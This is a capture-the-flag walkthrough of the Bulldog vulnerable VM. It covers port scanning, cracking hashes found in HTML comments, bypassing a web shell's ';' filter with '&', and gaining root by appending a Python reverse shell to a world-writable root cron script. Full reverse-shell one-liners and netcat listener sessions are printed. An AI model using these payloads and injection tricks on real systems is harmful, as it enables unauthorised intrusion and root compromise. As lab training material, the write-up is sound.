I usually start with host discovery phase. But this time it was written on the screen, so skipped this phase.

Then as usual, scanned for open ports with nmap.
root@kali:~# nmap -v 10.0.2.59
Starting Nmap 7.50 ( https://nmap.org )
Initiating ARP Ping Scan at 08:17
Scanning 10.0.2.59 [1 port]
Completed ARP Ping Scan at 08:17, 0.27s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:17
Completed Parallel DNS resolution of 1 host. at 08:17, 0.01s elapsed
Initiating SYN Stealth Scan at 08:17
Scanning 10.0.2.59 [1000 ports]
Discovered open port 23/tcp on 10.0.2.59
Discovered open port 8080/tcp on 10.0.2.59
Discovered open port 80/tcp on 10.0.2.59
Completed SYN Stealth Scan at 08:17, 1.66s elapsed (1000 total ports)
Nmap scan report for 10.0.2.59
Host is up (0.00062s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
8080/tcp open http-proxy
MAC Address: 08:00:27:16:1D:5F (Oracle VirtualBox virtual NIC)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.39 seconds
Raw packets sent: 1142 (50.232KB) | Rcvd: 1142 (45.684KB)
root@kali:~#Ports 80/tcp and 8080/tcp were the same. So I continued on 80/tcp.

And the Public Notice page was look like;

Started dirb to find some other pages.
root@kali:~# dirb http://10.0.2.59/ /usr/share/wordlists/dirb/big.txt
— — — — — — — — -
DIRB v2.22
By The Dark Raver
— — — — — — — — -
URL_BASE: http://10.0.2.59/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt
— — — — — — — — -
GENERATED WORDS: 20458
— — Scanning URL: http://10.0.2.59/ — —
==> DIRECTORY: http://10.0.2.59/admin/
(!) FATAL: Too many errors connecting to host
(Possible cause: EMPTY REPLY FROM SERVER)
— — — — — — — — -
DOWNLOADED: 2400 — FOUND: 0dirb only found admin page.

Tried some simple Sql injections and authentication bypass methods but it did not seem to work so I decided to look also with nikto to 80/tcp.
root@kali:~# nikto -h http://10.0.2.59
- Nikto v2.1.6
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -
+ Target IP: 10.0.2.59
+ Target Hostname: 10.0.2.59
+ Target Port: 80
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -
+ Server: WSGIServer/0.1 Python/2.7.12
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use ‘-C all’ to force check all possible dirs)
+ OSVDB-3092: /dev/: This might be interesting…
+ 7552 requests: 17 error(s) and 3 item(s) reported on remote host — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -
+ 1 host(s) tested*********************************************************************
nikto also found only one directory. But this one was not admin so browsed it.
Press enter or click to view image in full size

At the bottom of the page. There was mail addresses of some users and a link called “Web Shell”.
Press enter or click to view image in full size

Web-Shell page required a logged in user.
Press enter or click to view image in full size

From the source code of html file I found hashes of users.
<b>Who do I talk to to get started?</b><br><br>
<! — Need these password hashes for testing. Django’s default is too complex →
<! — We’ll remove these in prod. It’s not like a hacker can do anything with a hash →
Team Lead: alan@bulldogindustries.com<br><! — 6515229daf8dbdc8b89fed2e60f107433da5f2cb →
Back-up Team Lead: william@bulldogindustries.com<br><br><! — 38882f3b81f8f2bc47d9f3119155b05f954892fb →
Front End: malik@bulldogindustries.com<br><! — c6f7e34d5d08ba4a40dd5627508ccb55b425e279 →
Front End: kevin@bulldogindustries.com<br><br><! — 0e6ae9fe8af1cd4192865ac97ebf6bda414218a9 →
Back End: ashley@bulldogindustries.com<br><! — 553d917a396414ab99785694afd51df3a8a8a3e0 →
Back End: nick@bulldogindustries.com<br><br><! — ddf45997a7e18a25ad5f5cf222da64814dd060d5 →
Database: sarah@bulldogindustries.com<br><! — d8b8dd5e7f000b8dea26ef8428caf38c04466b3e →
</font></p>
</div>Used online crackers to get unhashed passwords.
Press enter or click to view image in full size

Found 2/6 of the hashes. Tried Sarah’s password with username “sarah” on admin page and I was in.
Press enter or click to view image in full size

There was nothing much in admin page so I browsed to /dev/shell and this time I accessed the webshell.
Get Mert’s stories in your inbox
Join Medium for free to get updates from this writer.
Press enter or click to view image in full size

Input was filtered so I could not run other commands except the given ones. With help of ls and cat commands I browsed directories and found the filter code on views.py file.
Command : cat bulldog/views.py
from django.shortcuts import render
import subprocess
commands = [‘ifconfig’,’ls’,’echo’,’pwd’,’cat’,’rm’]
def homepage(request):
return render(request, ‘index.html’)
def notice(request):
return render(request, ‘notice.html’)
def dev(request):
return render(request, ‘dev.html’)
def shell(request):
if request.method == “POST”:
command = request.POST.get(“command”, None)
to_return = “Command : “ + command + “\n\n”
if validate(command):
execute = subprocess.check_output(command, shell=True)
to_return += execute
elif “;” in command:
to_return += “INVALID COMMAND. I CAUGHT YOU HACKER! ‘;’ CAN BE USED TO EXECUTE MULTIPLE COMMANDS!!”
else:
to_return += “INVALID COMMAND. I CAUGHT YOU HACKER!”
context = {‘data’: to_return}
return render(request, ‘shell.html’, context)
return render(request, ‘shell.html’)
def validate(command):
if any(com in command for com in commands) and “;” not in command:
return True
return FalseIt was only looking if there is a allowed command and also looking for “;” to check command injection. But was not looking for “&”. So I tried & with whoami command.

It was working as expected. Now I had a limited shell. Next I prepared a python reverse shell and put it on my web root.
root@kali:/var/www/html# cat py.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.2.58”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);Downloaded the python script to victim machine, using web shell.

Then ran the comman pwd & python py.py on web shell to get a shell from my listener netcat.
root@kali:~# nc -lvp 4444
listening on [any] 4444 …
10.0.2.59: inverse host lookup failed: Unknown host
connect to [10.0.2.58] from (UNKNOWN) [10.0.2.59] 53960
/bin/sh: 0: can’t access tty; job control turned off
$Next I looked for Kernel version, tried some exploits but there was no gcc and could not run some of them. So I looked for weak services. Searched for writeable files.
$ find / -perm -2 ! -type l -ls 2>/dev/null
141808 40 -rwxr-xrwx 1 django django 40960 Nov 21 07:25 /home/django/bulldog/db.sqlite3
262372 4 drwxrwxrwt 8 root root 4096 Nov 21 10:16 /tmp
141940 4 drwxrwxrwt 2 root root 4096 Nov 21 09:35 /tmp/.ICE-unix
141942 4 drwxrwxrwt 2 root root 4096 Nov 21 09:35 /tmp/.font-unix
141943 4 drwxrwxrwt 2 root root 4096 Nov 21 09:35 /tmp/.Test-unix
141939 4 drwxrwxrwt 2 root root 4096 Nov 21 09:35 /tmp/.X11-unix
141941 4 drwxrwxrwt 2 root root 4096 Nov 21 09:35 /tmp/.XIM-unix
522 0 srw-rw-rw- 1 root root 0 Nov 21 09:35 /run/uuidd/request…31513 0 -rw-rw-rw- 1 django django 0 Nov 21 10:16 /proc/1430/task/1430/attr/sockcreate
31595 0 -rw-rw-rw- 1 django django 0 Nov 21 10:16 /proc/1430/attr/current
31597 0 -rw-rw-rw- 1 django django 0 Nov 21 10:16 /proc/1430/attr/exec
31598 0 -rw-rw-rw- 1 django django 0 Nov 21 10:16 /proc/1430/attr/fscreate
31599 0 -rw-rw-rw- 1 django django 0 Nov 21 10:16 /proc/1430/attr/keycreate
31600 0 -rw-rw-rw- 1 django django 0 Nov 21 10:16 /proc/1430/attr/sockcreate
141860 4 -rwxrwxrwx 1 root root 157 Aug 26 03:12 /.hiddenAVDirectory/AVApplication.py
8878 0 drwxrwxrwt 2 root root 40 Nov 21 09:35 /dev/mqueue
2 0 drwxrwxrwt 2 root root 40 Nov 21 09:35 /dev/shm
AVApplication.py file had full permission. Next I had to check if it is running by root user. I listed the files with the script name.
$ grep -rnw ‘/’ -e ‘AVApplication.py’
grep: /home/bulldogadmin/.cache: Permission denied
grep: /tmp/systemd-private-dad8121ea4774e17a5c09c385346c778-systemd-timesyncd.service-33woHH: Permission denied
grep: /run/agetty.reload: Permission denied
grep: /run/iscsid.pid: Permission denied...grep: /etc/ssh/ssh_host_ecdsa_key: Permission denied
grep: /etc/ssh/ssh_host_dsa_key: Permission denied
grep: /etc/ssh/ssh_host_ed25519_key: Permission denied
grep: /etc/security/opasswd: Permission denied
grep: /etc/polkit-1/localauthority: Permission denied
grep: /etc/sudoers.d/README: Permission denied
/etc/cron.d/runAV:1:*/1 * * * * root /.hiddenAVDirectory/AVApplication.py
grep: /etc/subuid-: Permission denied
While I was thinking to filter the output, I saw a cron entry with root privilege. Next I inserted a reverse shell python code inside the script to get another shell but this time with root privileges.
$ cd /.hiddenAVDirectory
$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.58",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> AVApplication.py
$ cat AVApplication.py
#!/usr/bin/env python# Just wanted to throw this placeholder here really quick.
# We will put the full AV here when the vendor is done making it.
# - Alanimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.58",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);$
I opened another netcat listener on port 4445 and waited for cron to do its job. Shell opened, confirmed that I was root, then read the flag.
root@kali:/var/www/html# nc -lvp 4445
listening on [any] 4445 ...
10.0.2.59: inverse host lookup failed: Unknown host
connect to [10.0.2.58] from (UNKNOWN) [10.0.2.59] 40126
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cd /root
# ls -al
total 36
drwx------ 3 root root 4096 Sep 20 19:46 .
drwxr-xr-x 24 root root 4096 Aug 25 22:07 ..
-rw------- 1 root root 378 Sep 20 19:46 .bash_history
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
-rw-r--r-- 1 root root 288 Sep 20 19:41 congrats.txt
drwxr-xr-x 2 root root 4096 Aug 24 17:45 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 66 Aug 24 18:30 .selected_editor
-rw------- 1 root root 1065 Sep 20 19:44 .viminfo
# cat congrats.txt
Congratulations on completing this VM :D That wasn't so bad was it?Let me know what you thought on twitter, I'm @frichette_nAs far as I know there are two ways to get root. Can you find the other one?Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!#